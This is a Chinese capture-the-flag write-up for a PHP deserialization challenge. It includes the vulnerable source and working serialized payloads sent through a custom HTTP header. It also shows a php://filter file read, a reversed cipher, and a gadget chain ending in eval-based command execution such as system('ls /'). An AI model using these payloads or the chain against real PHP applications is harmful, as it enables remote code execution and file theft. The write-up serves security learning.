愚人杯-web-被遗忘的反序列化
<?php
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
首先代码审计得定义了4个类,包含了check.php文件
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
这里有命令执行漏洞,是解题的关键,需要get=p8vfuv8g8v8py,但尝试后发现并可以,应该是中间用了加密方式,所以先看看check.php里有什么。
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
把读取file的内容给key,然后结束时显示aaa,这里我们就要让aaa和key的内容一样我们才能看到内容,所以要让aaa成为key的引用来绑定他们俩,这样key是啥aaa就是啥
<?php
class w_wuw_w{
public $aaa;
public $key;
public $file="php://filter/convert.base64-encode/resource=check.php";
}
$a=new w_wuw_w();
$a->aaa=&$a->key;
echo serialize($a);
得到结果 O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:53:"php://filter/convert.base64-encode/resource=check.php";}
然后要在http请求头AAAAAA中反序列化,有两种方法
1 hackber 在add Header中,payload
AAAAAA: O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:53:"php://filter/convert.base64-encode/resource=check.php";}(注意冒号后有一个空格)
2 抓包,在请求头中添加上述payload
base64解码得
<?php
function cipher($str) {
if(strlen($str)>10000){
exit(-1);
}
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";
for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);
if ($pos !== false) {
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
}
return $shifted;
}
果然和上面说的一样,将get参数进行凯撒加密,直接让deepseek生成一个加密脚本
<?php
function reverse_cipher($target) {
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4; // 原函数是 -4,逆向需 +4
$result = "";
for ($i = 0; $i < strlen($target); $i++) {
$char = $target[$i];
$pos = strpos($charset, $char);
if ($pos !== false) {
$new_pos = ($pos + $shift) % strlen($charset); // 反向位移
$result .= $charset[$new_pos];
} else {
$result .= $char;
}
}
return $result;
}
$get_value = reverse_cipher("p8vfuv8g8v8py");
echo "GET 参数值: ?get=" . $get_value . "\n";
?>
得到?get=fe1ka1ele1efp,这样就满足了强比较相等的条件,然后分析
漏洞利用链分析
完整的利用链如下(这也是deepseek说的):
-
反序列化入口:通过
HTTP_AAAAAA
头传入恶意序列化数据 -
触发
__wakeup
:w_wuw_w
对象的__wakeup
方法执行 -
触发
__destruct
:PHP脚本结束时自动调用 -
触发
__toString
:当echo $this->aaa
时,如果aaa
是gBoBg
对象 -
触发
__invoke
:gBoBg
的__toString
调用$aa()
时触发 -
触发
__clone
:w_wuw_w
的__invoke
克隆EeE
对象 -
执行关键代码:
EeE
的__clone
创建cycycycy
并调用aaa()
-
RCE:
cycycycy
的aaa()
执行eval($_POST["eval"])
这里解释一下第4点和第5点
__toString
:“__toString”是PHP中一个魔法方法,当尝试将一个对象当作字符串使用时,该方法会被自动调用。
在 w_wuw_w 类中
public function __destruct() {
echo $this->aaa; // 如果 $this->aaa 是 gBoBg 对象,会触发 __toString
}
echo
一个对象时,PHP会尝试将其转为字符串如果类定义了 __toString
,就会调用该方法这是对象到字符串的自动转换机制。
__invoke”是一种特殊的魔术方法,它在PHP等编程语言中用于实现对象的调用操作。当一个对象被当作函数调用时,就会触发__invoke方法,从而可以定义对象被调用时的行为,实现类似函数的功能。
public function __toString() {
if(isset($this->name)) {
// 情况1
$a = new $this->coos($this->file);
echo $a;
} else if(!isset($this->file)) {
// 情况2
return $this->coos->name;
} else {
// 情况3 - 这里会触发 __invoke
$aa = $this->coos;
$bb = $this->file;
return $aa(); // 将 $aa(即 $this->coos)当作函数调用
}
}
为了到达w_wuw_w 需要绕过两个if判断,name不赋值,file随便赋值,然后$aa会触发__invoke。
payload
<?php
class EeE{
public $text;
public $eeee;
}
class cycycycy{
public $a;
private $b;
}
class gBoBg{
public $name;
public $file=1;
public $coos;
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
}
$a = new EeE();
$b = new cycycycy();
$c = new gBoBg();
$d = new w_wuw_w();
$c->coos=$d;
$d->aaa=$c;
echo serialize($d);
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";i:1;s:4:"coos";r:1;}s:3:"key";N;s:4:"file";N;}
然后后面我用的抓包写的
把AAAAAA后面的内容改为上面的payload,在将数据包改为POST请求,加一个?get=fe1ka1ele1efp
eval=system('ls /');
eval=system(cat /f1agaaa);得到flag